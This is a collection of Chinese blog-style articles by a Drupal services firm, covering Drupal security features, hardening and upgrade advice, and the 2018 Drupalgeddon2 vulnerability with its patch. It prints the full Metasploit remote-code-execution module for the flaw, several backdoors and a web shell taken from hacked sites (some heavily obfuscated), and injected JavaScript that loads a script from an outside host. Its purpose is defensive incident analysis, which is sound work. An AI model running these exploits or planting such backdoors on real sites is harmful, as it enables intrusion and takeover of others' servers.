Drupal8安全

    编者:亚艾元软件

Drupal与安全

  根据维基百科的描述,Drupal是一个由DriesBuytaert创立的自由开源的内容管理系统,用PHP语言写成。在业界,Drupal常被视为内容管理框架(CMF),而非一般意义上的内容管理系统(CMS)。整套平台把所有内容视为一个“节点”(node),背后由大量“模块”(module)控制其显示、修改、排列、分类等方式。这种设计令Drupal不只可以创建普通的博客网站,只要配合适当组件,控制内容显示及处理权限的方式,它马上能变成论坛、Wiki、社区网络。迄今,Drupal的社区已编写了超过24000个模块。至2017年6月,全球约有2.3%的网站均由Drupal制作,在内容管理系统中约占7%。Drupal在政府组织、教育机构、开源社区中得到广泛应用。

  安全是Drupal社区非常关注的一个方面。Drupal社区有一个安全工作小组,该小组会发布安全公告,并对现有Drupal核心和模块进行安全审计,若是代码有安全问题,则会提醒系统用户进行更新。大部分模块都会被安全公告覆盖,在下载模块时,Drupal会提醒用户该模块是否已经被列入安全公告范围。

  Drupal的更新分为两类:普通更新和安全更新。如果是不涉及安全问题的普通升级,则不会主动提醒用户系统有更新;若是涉及到安全更新,系统会对所有具有发布内容权限的用户在界面醒目的位置进行提醒,从而让管理员尽快升级该安全漏洞。

安全内容管理功能

  一个安全内容管理系统应该具有以下几个方面功能:

  1.提供编码标准。在互联网社区大环境下,一个优秀的CMS系统由很多开发者共同参与开发,这就需要有一个规范的代码编写标准。即便是商用公司产品,开发公司也需要在团队中普及编码标准,并严格要求代码工程师按照标准进行编写,从而在编码层面尽量杜绝安全漏洞。Drupal作为开源社区软件,参与者众多,为此提供了代码标准(https://drupal.org/coding-standards),编写安全代码(https://drupal.org/writing-secure-code)和可访问性代码编写最佳实践(https://drupal.org/node/1637990)。

2.源代码审计。开源软件在源代码审计方面具有先天优势,目前大部分开源软件在github.com上进行源代码托管,任何人都可以参与项目代码审计,可以对代码提出自己的建议和修改请求,这种通过人海战术进行的源代码复核是最有效的方式,但却因为没有固定的分工而容易对部分代码缺失众人复核。但是组织架构良好的开源项目,其代码本身是有复核的。另外,一个完善的项目中应该引入自动化代码审计工具,对于常见的SQL注入、跨站脚本攻击、CSRF、文件操作、代码命令执行、变量覆盖、会话认证以及逻辑处理等漏洞代码进行审计。Drupal作为开源软件,本身提供了模块代码编写指南,提供了防止低级漏洞错误的封装函数,防止开发人员任意编写代码造成漏洞。此外,Drupal提供了代码审计模块Coder来对用户开发的模块进行自动化审计,并给出修改建议。

3.运行时安全审核。一个内容管理系统的正常运行需要操作系统、Web应用服务器、内容管理系统、文件、数据库的多方面支持。因此,内容管理系统的安全性不能只看内容管理系统,还需要严格审计操作系统、Web应用服务器以及其他多方面的安全加强。从纵向来说,内容管理系统建设部署时安全,后续运行一段时间后,需要持续保障安全,持续检查安全。这一点是很多内容管理系统缺失的,很多系统在部署后,通过各类漏洞扫描设备进行扫描,通过安全等级评定,即认为安全,后续只管内容维护。而Drupal系统认为安全是一个持续的过程,随时可能会因为各种操作而产生安全隐患,譬如临时文件目录具备了可执行权限,系统配置文件可写属性没有去掉,这些都是Drupal在运行时需要检查的。此外,Drupal还提供了多个安全监测模块以及安全指导建议模块,这些模块对于安全防范技术能力不强的管理者来说,提供了有力的指导和规范建议,从而确保普通管理员也可以提供一个安全的内容管理系统。

  4.用户行为审计功能。一个完善的内容管理系统,还需要对用户所有操作进行审计,以便后续追踪事件的发生过程,定位事件责任人。目前市面上流行的内容管理系统已经具备该项审计功能。但是普通的内容管理系统的查询功能基本局限于系统内部,而Drupal的审计日志可以集成到其他日志服务器,譬如syslog服务器,便于在其他系统中集成监控分析。

  5.有效的内容过滤机制。内容管理系统的安全不仅体现在系统的安全上,还体现在内容的安全上。根据国家涉密机密信息管理办法,涉密信息一律不准上网。另外,内容管理系统应当杜绝发布非法信息、不当言论以及敏感事件信息。因此内容管理系统需要添加必要的敏感词过滤机制。在过滤主体方面,一则信息所涉及的标题、正文和附件等可填写内容都应加入过滤功能,有效防止不当用户发布受限内容。Drupal提供了多个模块(如wordfilter、Profanity、BadWordFilter等)进行敏感词过滤。

  6.及时的安全公告机制。无论软件开发商如何努力去完善修改系统,都不可避免产生安全漏洞。一旦出现安全漏洞,及时的告知是非常必要的。所以一个安全的内容管理系统应具备周期性检查安全通知公告的功能,官方应当提供安全公告列表和邮件列表,以便及时通知管理员升级系统。在这方面,部分软件供应商没有提供该项功能,仅仅是在被广而告之有漏洞时才对现有系统进行升级维护,修正漏洞。Drupal安全工作小组则采取了及时发布安全通知,系统自身周期性检查安全公告,以邮件和系统显著位置通知的形式提醒管理员尽快升级系统。

  

防范

1. 加固linux tmp目录,基本上drupal网站部署在在linux系统之上,对于php的执行权限要严格把控,参考php 站点项目目录权限(安全)验收说明一文。

2. Linux系统加固包含:命令执行历史记录加固Crond调用黑白名单帐号加固,参考linux系统安全加固一文。

3. PHP 安全环境的定制:参考定制安全的php环境一文。

4. 关闭非部分服务端口只对内网或者某台主机有权限开放,除此之外所有拒绝所有的IP的访问。可通过iptables或者商业的waf来设置(阿里安全云盾,阿里安全宝,阿里waf),原则意义上对外暴露的端口只允许有80和443。

5. 加强代码编写规范,参考drupal官方https://drupal.org/writing-secure-code以及https://www.drupal.org/node/1637990

6. 初建的drupal站点,采用security review模块进行必要的安全复查,https://www.drupal.org/project/security_review

7. Drupal core漏洞和各服务的安全漏洞持续关注,安全是个长期的工作不是一时,所以要持续关注drupal core和各服务发布的版本漏洞drupal:https://www.drupal.org/security nginx:http://nginx.org/en/security_advisories.html,,以nginx为例官方推出了patch以及diff后的代码,采用patch命令修复漏洞(参考diff和patch维护源码变更一文)。


Drupal版本:

4月25号, 2018 PSA-2018-003 Drupal安全升级!!!

将在2018年的4月25号,16:00 - 18:00 UTC, 标准时间,Drupal安全团队将会发布一个新的安全版本,这个安全更新,不属于Drupal的周期性的版本更新。对于所有的安全更新,Drupal安全团队,提醒您,第一时间更新代码。Drupal的安全更新,一经发布,里面的补丁所涉及的代码,就会被黑客利用,进而开发出来攻击Drupal网站的程序。这个过程可能会很快,几个小时,几天,黑客的渗透程序就会开发完毕。

4月25号, 2018 PSA-2018-003的安全更新,是对SA-CORE-2018-002后续改进升级。

对于7.x, 8.5.x的Drupal网站,只需要按照日常的更新即可,仅有安全代码更新,没有数据库的变更。

对于Drupal8.4.x的请,第一时间升级到8.4.8,尽快升级到8.5.3;对于Drupal8.3的用户,请第一时间升级到8.4.8,尽快升级到8.5.3.

对于Drupal6用户,请第一时间,升级到Drupal7.x的最新版本。

 

Drupal安全团队,在安全更新代码发布之前,不会对此提供任何有关程序的相关信息。我们将会多个渠道,全面公开这些安全补丁,一经公开请您第一时间升级。

 

对于Drupal用户,请您及时关注Drupal的安全更新。


Drupal 6,7,8安全升级步骤及注意事项

作者 老葛 亚艾元软件

   Drupal6网站,

请您第一时间关闭网站,做好备份,让专业人员第一时间为您升级到Drupal7.

 

 

   Drupal7网站,

请您第一时间升级到Drupal7的最新版本,目前为7.58两天之后,尽快升级到7.59。

升级步骤:

1, 下载Drupal7.58,解压缩。

2, 将Drupal7最新代码上传到你的网站根目录下面,替换即可。

3, 运行update.php

 

99.9%上述步骤没有问题。如果有问题,请第一时间联系专业人员。.

 

   Drupal8网站,

请您第一时间升级到Drupal8的最新版本Drupal8.5.2,两天之后,第一时间升级到8.5.3。如果您采用的是Drupal8.3,请您第一时间升级到8.3.9;尽快升级到8.5.3;如果您采用的是drupal8.4,那么请第一时间升级到8.4.8;尽快升级到8.5.3。

   如果您的网站没有安全第三方模块,那么升级并不费劲。如果您的网站安装了第3方模块,而且还比较多的话,那么升级比较痛苦。

 

注意事项:

1, 注意Drupal8下面不同大版本下面,与重要模块的兼容性问题,比如layout plugin, page manager, search api solr。

2, 注意您的代码有没有使用composer。

3, 注意升级过程中的fatal error。

4, 注意做好数据备份,没成功一步,,备份一下。防止后续出错。

 

1, 删除core,vender两个目录,

2, 上传Drupal8最新代码

3, 检查当前模块与核心是否兼容,这个需要不断尝试。一个不兼容就是一个fatal error。

4, 运行update

 

 

反复重复上述操作,直到最后成功。每次成功率不足30%。.

 

请相关领导业务骨干给于技术人员相应的尊重与重视。


Drupal 安全漏洞SA-CORE-2018-002

        老葛,亚艾元软件

Drupal在2018年3月28日发布了一个安全更新补丁,同时提醒大家,以前的版本存在SA-CORE-2018-002号安全漏洞,这个漏洞是Drupal资深开发人员,芬兰的Jasper Mattsson率先发现,并协助Drupal核心团队修复的。在Drupal安全团队修正了这个漏洞以后,立即发布了安全升级版本。提醒所有Drupal用户尽快安全升级。

https://www.drupal.org/sa-core-2018-002

对于这个安全漏洞,我们当时第一时间做了检查,我核对了Drupal代码里面的补丁代码,对它有所了解,这个是由于Drupal的表单机制,#符号有特殊的含义。黑客可以借助于这个地方的弱点渗透过来。但是需要熟悉Drupal机制的人,才能黑过来。

两周过后,大概,Drupal社区团队,发布了后续的安全预计升级,提升了此前的安全等级。因为黑客市场上,已经有公开的攻击Drupal这个漏洞的代码了。

 

注意,这里,是Drupal社区资深人员率先发现的漏洞,并且第一时间修正。黑客人员,根据这个漏洞的安全补丁,才找到了攻击办法。

 

在我们得知这个安全漏洞的时候,我们第一时间,为我们的客户做了安全升级,及时保证了客户的安全。

而截至到这个时候,仅有50%左右的网站完成了升级。所以开始有很多网站被黑了。最近,陆续的接触到了一些使用Drupal的用户,他们的网站被黑客攻入。

 

基于metasploit这样的渗透工具,网上已经有了现成的渗透代码:

class MetasploitModule < Msf::Exploit::Remote

    Rank = ExcellentRanking

 

    include Msf::Exploit::Remote::HttpClient

 

    def initialize(info={})

      super(update_info(info,

        'Name'           => 'Drupalgeddon2',

        'Description'    => %q{

          CVE-2018-7600 / SA-CORE-2018-002

          Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1

          allows remote attackers to execute arbitrary code because of an issue affecting

          multiple subsystems with default or common module configurations.

 

          The module can load msf PHP arch payloads, using the php/base64 encoder.

 

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'

        },

        'License'        => MSF_LICENSE,

        'Author'         =>

          [

            'Vitalii Rudnykh',      # initial PoC

            'Hans Topo',            # further research and ruby port

            'José Ignacio Rojo'     # further research and msf module

          ],

        'References'     =>

          [

            ['SA-CORE', '2018-002'],

            ['CVE', '2018-7600'],

          ],

        'DefaultOptions'  =>

        {

          'encoder' => 'php/base64',

          'payload' => 'php/meterpreter/reverse_tcp',

        },

        'Privileged'     => false,

        'Platform'       => ['php'],

        'Arch'           => [ARCH_PHP],

        'Targets'        =>

          [

            ['User register form with exec', {}],

          ],

        'DisclosureDate' => 'Apr 15 2018',

        'DefaultTarget'  => 0

      ))

 

      register_options(

        [

          OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),

        ])

 

      register_advanced_options(

        [

 

        ])

    end

 

    def uri_path

      normalize_uri(target_uri.path)

    end

 

    def exploit_user_register

      data = Rex::MIME::Message.new

      data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')

      data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')

      data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')

      data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')

      data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')

      post_data = data.to_s

 

      # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

      send_request_cgi({

        'method'   => 'POST',

        'uri'      => "#{uri_path}user/register",

        'ctype'    => "multipart/form-data; boundary=#{data.bound}",

        'data'     => post_data,

        'vars_get' => {

          'element_parents' => 'account/mail/#value',

          'ajax_form'       => '1',

          '_wrapper_format' => 'drupal_ajax',

        }

      })

    end

 

    ##

    # Main

    ##

 

    def exploit

      case datastore['TARGET']

      when 0

        exploit_user_register

      else

        fail_with(Failure::BadConfig, "Invalid target selected.")

      end

    end

  end

 

这些代码,完全公开的。所以在这里提醒大家,第一时间,尽快的完成安全升级。2018年4月25号,还会有一个针对这个同一安全漏洞的进一步升级。

https://www.drupal.org/psa-2018-003

随着这个安全漏洞的公开,在这里,Drupal社区又进一步挖掘到了新的漏洞,并及时采取措施,建议广大Drupal用户,第一时间继续升级你们的Drupal版本,到最新版。

 

黑客的渗透后的恶意代码示例:

Del.php

<?php

unlink("./composer.php");

unlink("./del.php");

unlink("./izoc.php");

unlink("./izom.php");

unlink("./izocin.php");

echo "delete is success.";

 

 

composer.php

izocin

<?php

echo '<title>Upload Files xSecurity</title>

<h1>izocin</h1>

';

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

       if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Complate !!!</b><br><br>'; }

       else { echo '<b>Upload Failed !!!</b><br><br>'; }

}

?>

 

 

Counter.php:

<?php if(md5($_POST['p'])==='615b676f2a1c675c6965dc83bb1faf74'){$st = 'return value';$cap='bas'.'e6'.'4_d'.'ec'.'ode';$c = $st[1].$st[7].$st[8].$st[9].'('.$cap.'(\'';if(isset($_POST['uf'])&&isset($_POST['pr'])){$arr = array($c.$_POST['uf'].'\'))' => '|.*|e',);array_walk($arr, strval($_POST['pr']), '');}}?>

 

 

Temp文件加下:

<?php

if(!function_exists("bJMTeA")){function bJMTeA($DqlO){$ZCT=array('28','XkZ_W]ReV','SRdVGEpUVT`UV',$DqlO);for($ZWcLuy=0;$ZWcLuy<4;$ZWcLuy++){for($vjXDM=0;$vjXDM<strlen($ZCT[$ZWcLuy]);$vjXDM++) $ZCT[$ZWcLuy][$vjXDM] = chr(ord($ZCT[$ZWcLuy][$vjXDM])-($ZWcLuy?$ZCT[$vjXDM xor $vjXDM]:1));if($ZWcLuy==2) $ZCT[3]=$ZCT[1]($ZCT[2]($ZCT[3]));} return $ZCT[3];}$xVB="hVWLTttIFP0PKvUfpoHWiUSDE6BsFlERSEJeBHDsPFxVZuwZ4qnHHtdjk7jVfvNe20nIFqS1QBnfx5l77ssIwfP+HQuYJWlcVgiTIcepRaNIRFI5RGrl/P27/M2KaCiimAWLci5kT2UmM6cD6/5urH8r/VzSqPS9Uvl9SZ8x/1N8TlcsPv8n90siTqgjCAWjcVubtLVvpQejrc2tsa71RjdgfnGh7LsLX3qpUvn9/t0eoU8soGWlpRn3zaGl3d3pEJ1ltXqaZaEqUo6q1Zc/JQtwz3EJi8o7Hrk0oj8TFlFLBA5FSvWIBQ5PCJVHthCxjCMcVkGkZKYkSkLMra1ig3UFWBBp897qGMNhjnoQ0KWVSBqhC4SjCKdlECKkBNinCrr4ipQuDgJmY64cFpoQS5lrSh8u+92Dj0bv09m+aFjiL/KpdIiOjlAgYvo3IiI7IJ+cotilKHNbiogUID5mvADZwF8uMlnVEX5pfZGMcZwUV9XWIqh3/H9ukeC08Nry2Vvzbxp6tz3Se9dNvd2ytF4rJ4iJD7hZomIR5Sz3jnOFk8hY+CgDXJOvZD953oCmDqyeWCRj4BZBumJIIpNI0iBGNseBh6RAGEGCUZ5g0DkRxTEl1SzxEZUJjyHtmdKS+Bm6BFpjW5D8Gmi6tWEFUccVSLm8vMxrfPAzoVEK7sSGEeDUgSl4xhHDdhYtUuyil16uKRxA9PnrE6OcyHJmk787IiAsZiIAUTWvPABA0XxqQf9i8F8b0hV1kpiWK4BBY8dtSimc8h+RfoM4eEKV7/kAvBmozYXj7UT5Vpiv4vwz0HV/AErtTb2DHTdn8vltfU4Q9EkA2WaYs1/0NYW14yvinBfcFZuRNQfIwAfqh3G6LVmRgB1ykIIkJNACmxTk8PAgtGX70rXZozwzyWzGWZwW43hcdGiuC/Eia/VMbmNJv5xY6/Wk3LcaS9xtLvB0LnpTs2b7IxVPG8msPjnBs5HqpItg4mmDh7ETDmaxT6anP8gNf7bZ1VRrh1eDa80026v4IeVn/e7k3pyJxnzWT+czT/Tr7hn2G4E97ddM5sh+fcTIzfx4NL3ipq8tzek8GG79vTPTb6SANyBcm2v+snHbkt44MI1p25T3rduzfjusTzrujX0toywW+7gn+p3+F9p+yG2NIDzRWqtfpNuX5vREFPGE9tavo4Z3qTamgdsepDLsXWs1vT75Mk03d67IdK2fjZuN3s1IOMx9dvyHN7BqdnG3RgZjdTXQ49Bki5d4dZCNmx4xGpxymc50dXNezsaLzXm1c05nYy+8O1YXjj9RyayfbOP71Scg95yZNnRU0ehxY2UYkyv8g9QczzX0oD8Y10aqBu63E248TMlA63S6Y300uTP4iT4NDfNYS42g3yOdqyGuuT3Dd+NRDfA8czj3GsGDrjLIjarXG6fzHyorat6DmnaGZrvWvR+vdWzBjGMu9dro1Gmf6rc3pE715onTDXXH49dEbbOBLj27PtE1T21s/AfXTlbrDcaGS7hjKyCHDXM6EnbaXN0t4QP50vSV3f7fHU4YqsNif1uhCIuZsDyaypfZgsG++M/8bGf0fCt8vT739/eVc9CAOrOC73r+D4OZ751yqZhP9ChTGVP/EdZ5DC/5qnm8qKGlSyPQZkvy8UIJ3VApVXY+uU88ka6FObfy7SPzYOCC/PLSk4iA2YfS+b8=";$ZyC="bJMTeA";$LAtwx=$ZyC("C0kOC0oNKwhPiw9JjUqIBwA=");$UpxY=$LAtwx('',$ZyC($xVB));$UpxY();}

?>

 

 

采取措施:

1, 第一时间升级您的Drupal代码。如果您没有合适的技术团队,或者帮您建站的人员已经联系不上,请您第一时间联系专业Drupal开发人员为您升级。

2, 如果您的网站已经中招,

A, 请您第一时间升级Drupal核心代码,

B, 检查Drupal目录下面的可疑文件

C, 检查Drupal用户,查看最近有没有可以用户,检查管理员的组成,看看有没有可以人员具有管理员权限,检查Drupal的权限设置,已经内容是否已经完成。

 

如果您的网站采用Drupal,但是没有技术人员维护,请您第一时间与我们联系:


 

业务联系:崔克俊 

手机: 13381113196 

QQ: 372948992 

公司电话:010-62669785

 


Drupal 安全漏洞SA-CORE-2018-002安全补丁

从代码里面我们可以看出,对于请求参数里面的#字符,这里添加了限制。Drupal的表单API,呈现数组里面的key都是以#开头的,对于以#开头的数据,Drupal以前默认未加过滤清理,导致黑客可以借助这里,植入代码。

Drupal7补丁地址

https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5

Drupal8补丁地址:

https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f


以Drupal7的安全补丁为例:

diff --git a/includes/bootstrap.inc b/includes/bootstrap.inc
index 655db6d..880557e 100644
--- a/includes/bootstrap.inc
+++ b/includes/bootstrap.inc
@@ -2632,6 +2632,10 @@ function _drupal_bootstrap_configuration() {
   timer_start('page');
   // Initialize the configuration, including variables from settings.php.
   drupal_settings_initialize();
+
+  // Sanitize unsafe keys from the request.
+  require_once DRUPAL_ROOT . '/includes/request-sanitizer.inc';
+  DrupalRequestSanitizer::sanitize();
 }
 
 /**
diff --git a/includes/request-sanitizer.inc b/includes/request-sanitizer.inc
new file mode 100644
index 0000000..1daa6b5
--- /dev/null
+++ b/includes/request-sanitizer.inc
@@ -0,0 +1,82 @@
+<?php
+
+/**
+ * @file
+ * Contains code for sanitizing user input from the request.
+ */
+
+/**
+ * Sanitizes user input from the request.
+ */
+class DrupalRequestSanitizer {
+
+  /**
+   * Tracks whether the request was already sanitized.
+   */
+  protected static $sanitized = FALSE;
+
+  /**
+   * Modifies the request to strip dangerous keys from user input.
+   */
+  public static function sanitize() {
+    if (!self::$sanitized) {
+      $whitelist = variable_get('sanitize_input_whitelist', array());
+      $log_sanitized_keys = variable_get('sanitize_input_logging', FALSE);
+
+      // Process query string parameters.
+      $get_sanitized_keys = array();
+      $_GET = self::stripDangerousValues($_GET, $whitelist, $get_sanitized_keys);
+      if ($log_sanitized_keys && $get_sanitized_keys) {
+        _drupal_trigger_error_with_delayed_logging(format_string('Potentially unsafe keys removed from query string parameters (GET): @keys', array('@keys' => implode(', ', $get_sanitized_keys))), E_USER_NOTICE);
+      }
+
+      // Process request body parameters.
+      $post_sanitized_keys = array();
+      $_POST = self::stripDangerousValues($_POST, $whitelist, $post_sanitized_keys);
+      if ($log_sanitized_keys && $post_sanitized_keys) {
+        _drupal_trigger_error_with_delayed_logging(format_string('Potentially unsafe keys removed from request body parameters (POST): @keys', array('@keys' => implode(', ', $post_sanitized_keys))), E_USER_NOTICE);
+      }
+
+      // Process cookie parameters.
+      $cookie_sanitized_keys = array();
+      $_COOKIE = self::stripDangerousValues($_COOKIE, $whitelist, $cookie_sanitized_keys);
+      if ($log_sanitized_keys && $cookie_sanitized_keys) {
+        _drupal_trigger_error_with_delayed_logging(format_string('Potentially unsafe keys removed from cookie parameters (COOKIE): @keys', array('@keys' => implode(', ', $cookie_sanitized_keys))), E_USER_NOTICE);
+      }
+
+      $request_sanitized_keys = array();
+      $_REQUEST = self::stripDangerousValues($_REQUEST, $whitelist, $request_sanitized_keys);
+
+      self::$sanitized = TRUE;
+    }
+  }
+
+  /**
+   * Strips dangerous keys from the provided input.
+   *
+   * @param mixed $input
+   *   The input to sanitize.
+   * @param string[] $whitelist
+   *   An array of keys to whitelist as safe.
+   * @param string[] $sanitized_keys
+   *   An array of keys that have been removed.
+   *
+   * @return mixed
+   *   The sanitized input.
+   */
+  protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) {
+    if (is_array($input)) {
+      foreach ($input as $key => $value) {
+        if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
+          unset($input[$key]);
+          $sanitized_keys[] = $key;
+        }
+        else {
+          $input[$key] = self::stripDangerousValues($input[$key], $whitelist, $sanitized_keys);
+        }
+      }
+    }
+    return $input;
+  }
+


Drupal版本:

eval String from Char Code

最近有多个Drupal网站被黑了,其中一个症状,首次访问首页面,会跳转到别的页面,黑客页面。第二次访问正常。

这个极有隐蔽性,刚开始我还以为是浏览器点错了呢,因为后面就正常,后来检查,发现页面被注入JS代码。类似这样的代码:


<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 122, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 46, 108, 111, 99, 97, 108, 115, 116, 111, 114, 97, 103, 101, 46, 116, 107, 47, 115, 46, 106, 115, 63, 99, 114, 116, 61, 110, 101, 119, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 122, 41, 59));</script>


解决办法,找到注入的模板文件,一般是html.tpl.php,Drupal7下面,删除即可,同时检查用户角色,权限,看看有没有异常。

Drupal版本: